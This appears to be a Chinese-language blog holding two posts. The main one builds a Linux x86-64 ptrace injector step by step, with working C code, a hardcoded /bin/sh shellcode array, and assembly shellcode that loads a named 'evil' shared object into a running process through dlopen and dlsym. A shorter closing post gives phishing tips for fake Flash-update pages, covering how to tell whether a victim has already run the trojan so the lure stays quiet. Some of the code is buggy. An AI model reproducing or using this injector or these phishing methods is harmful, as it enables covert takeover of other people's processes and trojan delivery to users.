#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
unsigned char shellcode[] = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69"
                             "\x6e\x2f\x2f\x73\x68\x57\x48\x89"
                             "\xe7\xb0\x3b\x0f\x05";
int inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
        {
          perror ("ptrace(POKETEXT):");
          return -1;
        }
    }
  return 0;
}

int main (int argc, char *argv[])
{
        pid_t                   target;
        struct user_regs_struct regs;
        int                     syscall;
        target = atoi (argv[1]);
        if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
        {
                 perror ("ptrace(ATTACH):");
                 exit (1);
        }
        printf ("+ Waiting for process...\n");
        //wait (NULL);
        printf ("+ Getting Registers\n");
        if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
        {
                perror ("ptrace(GETREGS):");
                exit (1);
        }

        printf ("+ Injecting shell code at %p\n", (void*)regs.rip);

        int SHELLCODE_SIZE = sizeof(shellcode);
        printf("+ SHELLCODE size = %d\n",SHELLCODE_SIZE);
        inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
        regs.rip += 2;
        printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
        if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
        {
                perror ("ptrace(GETREGS):");
                exit (1);
        }
        printf ("+ Run it!\n");

        if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
        {
                perror ("ptrace(DETACH):");
                exit (1);
        }
  
        return 0;
}

很轻松的就注入成功了。直接从源程序变成我们的接管程序(随手找了一段shellcode)
1.png

但是接下来还有一个问题。虽然我们成功的注入了我们的程序,但是源程序的功能也已经被我们破坏了

十分类似于windows下创建一个空壳Svchost.exe,然后里面跑着我们的进程,一般对于windows来说这样似乎可以,然而这是linux,我们的目的应该看看能不能在此基础上恢复原有的流程。

实际上,恢复原有的流程的进程功能理论上也十分简单。类似于windows的API HOOK,直接write地址之后,在此之前我们只需要把数据保存下来,等我们shellcode执行完毕之后再把保存的数据写回去然后让RIP回到原位再次执行似乎不就可以了?
然而这时候有一个问题,那就是我们不知道我们的shellcode如何运行结束。同时有时候我们shellcode可能并不需要结束,直接等待shellcode结束可能会永无天日。所以我们需要必要的对shellcode进行一些改造。最典型的改造就是多线程话,多线程载入运行我们需要的负载。

以及,同时,直接交由shellcode进行多线程操作可能需要对shellcode操作的要求十分的高,并且不同平台间的各种问题,我们需要尽量让shellcode足够精简。因此,最好的办法就是把多线程这个操作移动到其他负载中,也就是我们的SO文件。

我们shellcode只需要加载SO文件,然后SO文件使用多线程启动我们的恶意负载。然后再把程序交还给源程序,恢复原本数据,继续执行。

操作如下:

  • ATTACH进程
  • 接管进程
  • 备份原本RIP的数据
  • 进程内存中覆盖我们的shellcode
  • 修改进程的rip指向我们的Rip
  • 运行shellcode
  • shellcode加载SO文件
  • So文件多线程运行我们的负载
  • 还原原本数据
  • 执行原本数据

上面内容看似美好,然而还有一个问题。程序加载完So之后,恢复原本数据,如何恢复,恢复在哪里,是shellcode直接加载恢复还是由我们的注入程序恢复

不过在此之前,就涉及到我们第二个目标--shellcode编写

Linux下shellcode编写

在完成上面注入器之前,我们得先整一个加载so的shellcode。

和windows下调用API不通,windows下是通过寻找NTKERNEL的基址,然后在通过固定的偏移寻址来调用API的

而linux的API则是直接使用系统调用号就行。不需要直接暴力的在内存中寻址偏移调用。

但是我们要求加载so的dlopen是属于第三方lib库下面,并不是直接系统调用号,还是得回归windows的方式来寻址

大概思路就是

  • 本地程序dlopen函数地址-本地程序dl模块基地址=偏移地址
  • 寻找源dl模块及地址+偏移地址=远程dlopen函数地址

函数地址直接就能拿。基地址可以从/proc/pid/maps中寻找。

远程程序没有加载ld模块找不到模块基址怎么办

同时还有一个问题,按照之前的设想我们直接往当前IP的地址写入我们完整的shellcode运行,然后再还原回来就行,然而,可执行段在内存中的排列可能是不连续的,因此就会遇到一个问题,当前IP可执行的区块大小不够塞下我们全部的shellcode。。虽然我们的shellcode可能从原理上来说足够小,但是总会有意外。

于是乎接下来就有两个选择

  • 寻找内存中足够大的可执行区域,在那里写入我们的shellcode并还原
  • 寻找libc.so的基址,然后找到mmap手动申请一片区域

寻找区域的话,重点就是寻找整个空间都没有连续的,完整的大小能刚好塞下我们的shellcode,当然对于不连续空间也有解决办法,相信诸位在做ctf什么遇到很多了,各种ROP都难不倒大家这种不连续内存多写几个jmp应该就完事,但是对我这种菜鸡来说就算了还是懒得写。

当然不连续空间好解决。。更难解决的可能是内存重复使用。。。

当然大部分情况第一种方式是最快速实现的,毕竟现在分配内存似乎都是按照页分配内存。。只要我们的程序不是刚好attarch到别人malloc出来一小块可执行内存(这真的不是别人在执行shellcode吗),大部分情况都是足够我们shellcode使用的。毕竟我们shellcode总共算下来也就五六个mov/lea,四个call而已

第二个方式就是。难写。多了一块找libc.so的过程。。。但是我们也要用同样的方式找libcld。。所以总体上来说没差别?

误区

在写这个文章的时候,我发现我陷入了一个误区,典型的windows用多了的后遗症。。我都有ptrace了,我为啥还要再写个shellcode去控制进程

我tmd直接用本地程序ptrace寻址到远程mmap,dlopen,dlsym这些地址,然后直接控制ptrace运行这些玩意不就行了。。然后等so运行之后起个线程然后再用ptrace还原。。不就tmd完事了

所以依旧是上面那套方案,只不过修改了些过程

  • ATTACH进程
  • 接管进程
  • 备份原本RIP的数据
  • 寻找远程进程的mmap,dlopen,dlsym地址
  • 进程内存中覆盖我们的shellcode
  • 运行shellcode
  • shellcode加载SO文件
  • ptrace调用mmap申请内存
  • ptrace调用dlopen,dlsym加载so
  • So文件多线程运行我们的负载
  • 还原原本数据
  • 执行原本数据

第二天!!!!!!误区个锤子

上面是我昨晚睡前神志不清写的。。我在想peach。。就算有ptrace还是要写shellcode的,比如设置字符串,call函数等等。。。只不过变成分段了而已。所以无视上面这一小章节即可

所以还得继续写shellcode。我们可以从 原创-发个Android平台上的注入代码 这里看到一个完整的android的so的完整注入代码。。只不过人家是android的,我们可以拿过来研究研究(修改抄袭抄袭)

同时经过一些搜索,可以从LINUX进程动态SO注入 看到另外一种dlopen的寻址方式。。之前是通过内存寻找偏移的方式寻址,从这个文章里了解到可以通过

有一种方法是, 通过查看 cat /proc/1234/maps 的加载地址, 加上函数符号在文件中的偏移来得到, 这里并不打算采用这种方法, 而是通过解析 ELF 文件结构得到 __libc_dlopen_mode 函数符号的地址. (这里需要比较多的 ELF 的文件结构的知识, 可以参考前面的\)

看似挺优雅。。。然而我对ELF文件结构不太熟。。。这里只列出一个实现方法。。下次有机会再研究研究。。

然后又寻找到了一个方法,在WINDOWS下我们能通过FS寄存器来寻找ntkernel的模块基址然后寻址到loadlibrary这些的,在linux下我们能通过DT_DEBUG来获得各个库的基地址,详情可以看以下这几个文章

所以,基本构造研究好了,就开始写shellcode了。。有分为两个方式

  • 使用masm编译后提取字节码
  • 使用.s编写shellcode然后用gcc连接到程序然后程序获取地址直接提取

那还用问肯定用第二个方法啊。不过VS下能用编译器魔法直接写C代码作为提取。。。不知道有无方法在GCC下也用编译器魔法直接提取shellcode。。。要是能用用的话那就方便了嗷

开整

首先,先把ptrace的那些整过来,看雪老哥的那个Android的So注入的代码很好,我的了!(((,直接把代码拿过来进行一个封装

注意:以下代码大部分都是基于Android动态库注入技术的代码进行修改以及部分调整,并非完全博主原创!!!特此再次声明版权,不过我会在里面加入一些自己的见解就是了。

首先,因为原项目用的是arm+32位,所以得把pt_regs换成linux的user_regs_struct和uint32_换成uint64_t

int ptrace_getregs( pid_t pid, struct user_regs_struct* regs );
int ptrace_setregs( pid_t pid, struct user_regs_struct* regs );
int ptrace_readdata( pid_t pid,  uint8_t *src, uint8_t *buf, size_t size );
int ptrace_writedata( pid_t pid, uint8_t *dest, uint8_t *data, size_t size );
int ptrace_writestring( pid_t pid, uint8_t *dest, char *str  );
int ptrace_call( pid_t pid, uint64_t addr, long *params, uint32_t num_params, struct user_regs_struct* regs );

int ptrace_continue( pid_t pid );
int ptrace_attach( pid_t pid );
int ptrace_detach( pid_t pid );

然后再对它的代码进行一些小修改,比如一些PC寄存器改成IP寄存器等,其中最重要的是ptrace_call函数。

原函数是

int ptrace_call( pid_t pid, uint32_t addr, long *params, uint32_t num_params, struct pt_regs* regs )
{
    uint32_t i;

    for ( i = 0; i < num_params && i < 4; i ++ )
    {
        regs->uregs[i] = params[i];
    }

    //
    // push remained params onto stack
    //
    if ( i < num_params )
    {
        regs->ARM_sp -= (num_params - i) * sizeof(long) ;
        ptrace_writedata( pid, (void *)regs->ARM_sp, (uint8_t *)&params[i], (num_params - i) * sizeof(long) );
    }

    regs->ARM_pc = addr;
    if ( regs->ARM_pc & 1 )
    {
        /* thumb */
        regs->ARM_pc &= (~1u);
        regs->ARM_cpsr |= CPSR_T_MASK;
    }
    else
    {
        /* arm */
        regs->ARM_cpsr &= ~CPSR_T_MASK;
    }


    regs->ARM_lr = 0;    

    if ( ptrace_setregs( pid, regs ) == -1 
        || ptrace_continue( pid ) == -1 )
    {
        return -1;
    }


    waitpid( pid, NULL, WUNTRACED );

    return 0;
}

其中最大的不同是函数传参方式,arm使用的是fastcall传参,参数保存在寄存器里,所以才有regs->uregs[i] = params[i];

搞不懂你们arm传参,pt_regs里面的r0-r28不好用吗为啥要用regs改。。不管了。。我们先只管linux下,linux的user_regs没有regs,理论上直接改这玩意就能成。。

醒了,x64也是存寄存器的,只有x86是用栈传参。然后linux和windows在x64下使用寄存器传参的个数也不同

windows下是使用4个寄存器传参,详情:x64 调用约定

默认情况下,x64 调用约定将前 4 个参数传递给寄存器中的函数。 用于这些参数的寄存器取决于参数的位置和类型。 剩余的参数按从右到左的顺序推送到堆栈上。最左边 4 个位置的整数值参数从左到右分别在 RCX、RDX、R8 和 R9 中传递。 如前所述,第 5 个和更高位置的参数在堆栈上传递。 寄存器中的所有整型参数都是向右对齐的,因此被调用方可忽略寄存器的高位,只访问所需的寄存器部分。

然后linux下是使用6个寄存器传参

函数的参数在寄存器rdi,rsi,rdx,rcx,r8,r9中传递,并且其他值以相反的顺序在堆栈中传递。译注前6个从左到右依次放入rdi,rsi,rdx,rcx,r8,r9,超出6个的参数从右向左放入栈中。可以通过修改被调用函数的参数来修改在堆栈上传递的参数。

于是乎,修改后的代码如下

int ptrace_call( pid_t pid, uint64_t addr, long *params, uint32_t num_params, struct user_regs_struct* regs )
{
    
    uint32_t i;

    long *regs_param[7]={
        (long*)&(regs->rdi),
        (long*)&(regs->rsi),
        (long*)&(regs->rdx),
        (long*)&(regs->rcx),
        (long*)&(regs->r8),
        (long*)&(regs->r9)
    };

    // 前6个参数压寄存器
    for ( i = 0; i < num_params && i < 6; i ++ )
    {
        // params_reg[i] = params[i];
        memcpy(regs_param[i],&params[i],sizeof(long));
    }

    
    // 超过6个压栈
    if ( i < num_params )
    {
        regs->rsp -= (num_params - i) * sizeof(long) ;
        ptrace_writedata( pid, (void *)regs->rsp, (uint8_t *)&params[i], (num_params - i) * sizeof(long) );
    }
    regs->rsp -= sizeof(long) ;
    ptrace_writedata( pid, (void *)regs->rsp, (uint8_t *)&regs->rip, sizeof(long) );
    regs->rip = addr;
    if ( ptrace_setregs( pid, regs ) == -1 
        || ptrace_continue( pid ) == -1 )
    {
        return -1;
    }


    waitpid( pid, NULL, WUNTRACED );
    
    return 0;
}

然而即使这样这部分也有局限性,这段代码传参只能使用立即数参数,也就是所说的int类型的参数,无法传递字符串这类

因为根据调用约定,想使用字符串的话还得将字符串内容使用ptrace_writedata写入目标进程的rbp或者rsp然后再把写入的地址当作参数传入。。所以说还是用shellcode更方便一些。

同时,我们一般使用这个函数都是需要返回值的,但是如果按照上面这个部分,调用完我们的函数后目标程序会直接继续运行,继续运行下去不知道会运行多少函数,直接覆盖了我们的返回值。

解决办法很简单,我们手动加个中断让它停止不就行了,直接把ret返回时需要而压入的栈的rip改成0x80即可

char code[] = {0xcd,0x80,0xcc,0};
ptrace_writedata( pid, (void *)regs->rsp, (uint8_t *)&code, 3 );

这样我们调用完函数之后,只需要获取rax的值就知道返回值拉。但是记住这样我们调用了中断后如果不手动纠正rip的话程序必定会崩溃的,所以调用之前一定要保存好rip的值

mmap部分如上图理论上是没问题了。。。测试一下调用成功,也确实获取到了mmap的返回值
无标题2.png
接下来就是shellcode部分。。。直接照着看雪老哥的代码进行一个shellcode的写。先手写一个调用的sample然后直接gdb查看汇编

无标题.png

最后进行一个shellcode的仿写。我们就简单点,直接弄一个不带任何参数的注入函数

.intel_syntax noprefix
.global _dlopen_addr_s
.global _dlopen_param1_s
.global _dlopen_param2_s
.global _dlsym_addr_s
.global _dlsym_param2_s
.global _dlclose_addr_s
.global _inject_start_s
.global _inject_end_s
.global _origin_rip_s
.data
_inject_start_s:
    # dlopen
    lea    %rsi,_dlopen_param2_s
    lea    %rdi,_dlopen_param1_s
    call   _dlopen_addr_s
    push %rax
    # dlsym
    lea    %rsi,_dlsym_param2_s
    mov    %rdi,%rax
    call   _dlsym_addr_s
    # call
    mov %rdx,%rax
    mov %eax,0
    call %rdx
    # dlclose
    pop %rax
    mov %rdi,%rax
    call _dlclose_addr_s
_dlopen_addr_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_dlopen_param1_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_dlopen_param2_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_dlsym_addr_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_dlsym_param2_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_dlclose_addr_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_inject_function_param_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_inject_end_s:
.space 0x400, 0
.end

源作者使用的是.word,因为原作者是32位arm下,不太清楚arm,32位的arm刚好是.word的长度等于0xAAAAAAAA,而我们是64位,本来想直接.long,然而64位汇编编译器下.long长度和sizeof(long)是不一样的就很离谱,一气之下就用了.byte,这样最小单位总不会错了

这些都整好之后,就和源代码没什么区别了。直接copy过来用就完事了。啊,这dlclose我就不调用了,应该没啥太大事吧,因为我懒得去管栈的内容来单参数了,(因为之前dlopen的参数保存再rax,必定会被后面函数给覆盖所以必须的操作栈来保存这个参数,但是如果不调用的话,dlsym因为是第二个调用的可以在rax被覆盖之前直接写入rdi作为参数所以不需要操作栈)

然后就是填充地址了,对于计算好的远程dlopen,dlsym地址这些当然是可以直接填充的,直接memcpy到指定位置就行,但是对于dlsym的第一个参数就不行了

dlsym第一个参数是我们恶意so函数的函数名,还是那句话,我们传参的字符串是在我们进程的进程空间里,所以对于远程进程来说,这个地址它访问不到,所以我们得把这串字符串写到远程进程的空间中,并且得到这个字符串的地址。

依旧是两个方案

  • 交给shellcode,由shellcode压栈
  • ptrace写到rbp,然后shellcode手动弹出读取

又或者。。。我们直接写到刚刚mmap生成的辣么一大份的内存里,然后地址指向那不就行了?于是乎

    remote_code_ptr = regs.rax; //获取mmap取得的地址
    ptrace_writedata(target_pid,remote_code_ptr,evilFunction,strlen(evilSoPath)+1);
    _dlopen_param1_s = remote_code_ptr;//写入了数据之后,这里就不再是代码段开头了,而是储存字符串参数的地方
    // 因为ptrace写入只能4个4个写入如果刚好超过余1就得+4,至于+5是补齐字符串后面的那个\0,上面的+1同理
    remote_code_ptr += strlen(evilSoPath)+5; 
    ptrace_writedata(target_pid,remote_code_ptr,evilFunction,strlen(evilFunction)+1);
    _dlsym_param2_s = remote_code_ptr;//写入了数据之后,这里就不再是代码段开头了,而是储存字符串参数的地方
    remote_code_ptr += strlen(evilFunction)+5; 
    _dlopen_addr_s = dlopen_addr;
    local_code_ptr = (uint8_t *)&_inject_start_s;
    code_length = (long)&_inject_end_s - (long)&_inject_start_s;
    ptrace_writedata(target_pid,remote_code_ptr,local_code_ptr,code_length ); //写入本地shellcode

这样子,寻址和填充就完成了。此时我们只要运行就行了。。。。。。不

还有最后一件事,就是让程序保持继续运行,本来想想我们之前保存了rip,直接jmp过去。想了下好像不行,得把所有寄存器归位才行。

又到了抉择:

  • 使用shellcode,硬编码到shellcode后自动归位所有寄存器然后jmp到原始地址
  • shellcode加入0xcc中断,本地程序等待so函数执行完毕后使用ptrace的setregs直接还原寄存器

本来是想用第一种方法的,毕竟能自动化就自动化,第二种方法有一个很大的问题就是你不知道程序何时运行到中断,你得等,但是经过了一通查阅,发现
photo_2021-12-05_18-49-55.jpg
啊这,不支持自动pop,那整个锤子,想还原得把所有寄存器手写回去。想想人就yue了。。还是看看第二个方法

经过一番寻找,发现waitpid很适合我们的操作,只需要我们再shellcode调用尾部加一个int 0x80中断,然后主程序进行waitpid就能捕获到这个中断就知道我们的恶意so程序执行完毕啦。

最后阶段

上面全部写好了之后,程序也跑起来了,总体来说是没有什么问题的,然而我发现,lea的地址偏移到了一个很奇怪的地方。

photo_2021-12-06_15-18-10.jpg

(注意mov相关的,原本期望是写入一个地址,然而实际上却是QWORD PTR DS:40512A),我十分的疑惑。

重点是我不知道这个40512A是哪里来的,第一个反应是这个QWORD,让地址只复制了一半,直接查看机器码发现并没有,依旧不知道这个地址是哪里来的
无标题3.png
(其中0x48和0x8b是mov,eax对应的指令,后面对应的地址)

然后过了一会儿,我才突然想到,这玩意NMD不是64bit的地址,而是GCC填充的地址偏移

无标题3.png

我之前shellcode单纯把这玩意当变量用了,所以才出现如此大问题。于是乎我们得修改下shellcode或者C代码。

本来是打算参考原项目手动计算好偏移,然后C计算完偏移后写入进去,但是似乎arm有些不同。在x64下会遇到一个很蛋疼的问题就比如CALL代码,

CALL _your_plt_
_your_plt_:
0xi_want_call_address

会遇到这种,call偏移中的地址实际上才是你想要jmp的地址的问题,_your_plt_在c代码中是extren的,我们可以直接对其进行操作,然而操作对象实际是0xi_want_call_address这里,目前并没有什么办法通过extren直接让_your_plt变成指向0xi_want_call_address的偏移地址。

最后依旧是有两个解决方案

  • 把_your_plt真的变成函数
  • 暴力修改CALL _your_plt_中_your_plt_的值

第一种方案就是,既然你只能call到_your_plt这个地址,那么我们修改汇编代码,直接在_your_plt继续call我们真实想要的地址不就行了?理所当然的这么想也理所当然的误入歧途,这很明显是不对的,就本来你原本有能力直接做到你非要拐一下,就很蠢。

既然代码直接在我们内存中,那我们就直接用二进制的思路来,gcc修改不了extren的值,我们自己改,直接把extren设置到目标指令,获得该地址的偏移,然后地址+2bytes忽略xor的两个机器码,剩下8bytes就是我们要改的地方了

_dlopen_param1_s:
    mov %rdi,0xFFFFFFFF
_printf_addr_s:
    call 0xFFFFFFFF

于是乎,我们的完整shellcode就成了这样

.intel_syntax noprefix
.global _dlopen_addr_s
.global _dlopen_param1_s
.global _dlopen_param2_s
.global _dlsym_addr_s
.global _dlsym_param2_s
.global _dlclose_addr_s
.global _inject_start_s
.global _inject_end_s
.data
_inject_start_s:

loop:
    jmp loop
    mov    %rsi,0x2
_dlopen_param1_s:
    mov    %rdi,0x1122334455667788
_dlopen_addr_s:
    movabs %rax,0x1122334455667788
    call   %rax
    push %rax
_dlsym_param2_s:
    mov    %rsi,0x1122334455667788
    mov    %rdi,%rax
_dlsym_addr_s:
    mov %rbx,0x1122334455667788
    call   %rbx
    call %rax
    pop %rax
    mov %rdi,%rax
_dlclose_addr_s:
    mov %rbx,0x1122334455667788
    call %rbx
    int 0x80
    int 0xcc

_inject_end_s:
.space 0x400, 0
.end

而我们的寻址方式,就理所当然的变成了

    // 填充0x1122334455667788
    memcpy((void*)((long)&_dlopen_addr_s+2),&dlopen_addr,sizeof(long));
    memcpy((void*)((long)&_dlsym_addr_s+2),&dlsym_addr,sizeof(long));
    memcpy((void*)((long)&_dlclose_addr_s+2),&dlclose_addr,sizeof(long));

shellcode最后的mov %rbx,0x1234是为了让程序还原原本的寄存器而设置的flag位,代码如下

    printf("+ Waiting....\n");
    waitpid( target_pid, NULL, WUNTRACED  );

    while(1){ //进行等待用于判断程序是否执行完我们的shellcode
        if ( ptrace_getregs( target_pid, &regs ) == -1 ){
            printf("- Getregs Error\n" );
            return -1;
        }
        sleep(1);
        printf("- Now rbx is :%p\n",regs.rbx);
        if(regs.rbx=1234){
            break;//判断执行完shellcode了,开始还原寄存器
        }
    }
    printf("+ EvilSo Injected.\n+ Recorver the regsing...\n");
    ptrace_setregs( target_pid, &original_regs );
    ptrace_continue( target_pid );

就这样,我们的注入就告一段落了,完美的注入进去
无标题.png

接下来就是处理下一个阶段的问题

武器化

首先要解决的一个问题就是,并不是所有的程序都有带dlfcn.h和带ldl编译。不带这两个参数注入的话,虽然从maps里还能看到ld.so,但是寻址出来的地址却不知道飞到那里去了,所以得解决这个问题,根据网络上的资料以及自己跟一遍汇编很容易得出dlopen只是一个马甲,真实调用的还是libc下的__libc_dlopen_mode,然而普通情况下我们是没办法直接在C里面使用(long)__libc_dlopen_mode这样找到地址的,必须得用其他方法找。

本地进程可以直接调用dlopen后,直接通过读取dlopen的内存地址中的跳转找到plt->got->__libc_dlopen_mode的真实地址。

自闭懒得研究了咕咕咕,直接看LINUX进程动态SO注入就是用这种寻址方式,把dlopen这几个函数的寻址方式替换成它这个就行了,懒得写了。

-- 已完待续

Tags: linux, 注入, 进程

Flash 钓鱼一些小TIPS(避免钓鱼窗口重复弹出)

在站岗无聊思考人生的时候突然想到,如果进行flash钓鱼的时候不做判断,直接插入页面,用户每次打开都弹出更新flash的窗口,那么用户也许灰产生警觉。所以最好的办法是弄一个用户下载完运行后,网页用户判断用户是否已经运行了我们的木马,如果运行了则不再弹出。

和群里小伙伴讨论了一会儿之后,最后还是觉得已下四个方法最适用。

  • Cookies 不用说了最简单的办法之一
  • Storage 不用说了最简单的办法之二

上面这两个办法如果用户更换浏览器或者清除缓存之后可能就会再次弹出。。不过我们一般钓鱼的时效可能也没有必要挂那么久理论上无伤大雅。如果有一些强迫症需求可以看看已下

  • 修改Hosts

这个方案可能会导致一些杀软的拦截,甚至你免杀都没用。毕竟免杀好做,但是这个行为是触发到规则的。比如某数字。。基本都会给你弹个框

  • 本地起一个Web,然后浏览器用JS请求

一开始还在思考如何绕过CORS啊,以及HTTPS这些的问题。后来想了一下,CORS本地服务器设置允许就行。。至于HTTPS,没必要真的搭建一个HTTPS,然后你直接用JS使用HTTPS去请求你本地部署的HTTP站点,只要返回的不是TIMEOUT,就能确认服务存在,既然确认了服务存在了,那么马自然而然也就运行过了。所以HTTPS和CORS这些问题也就解决了。

虽然实现上可能略微复杂了一点,但是这个可能是最泛用的选项了吧

Tags: flash, 钓鱼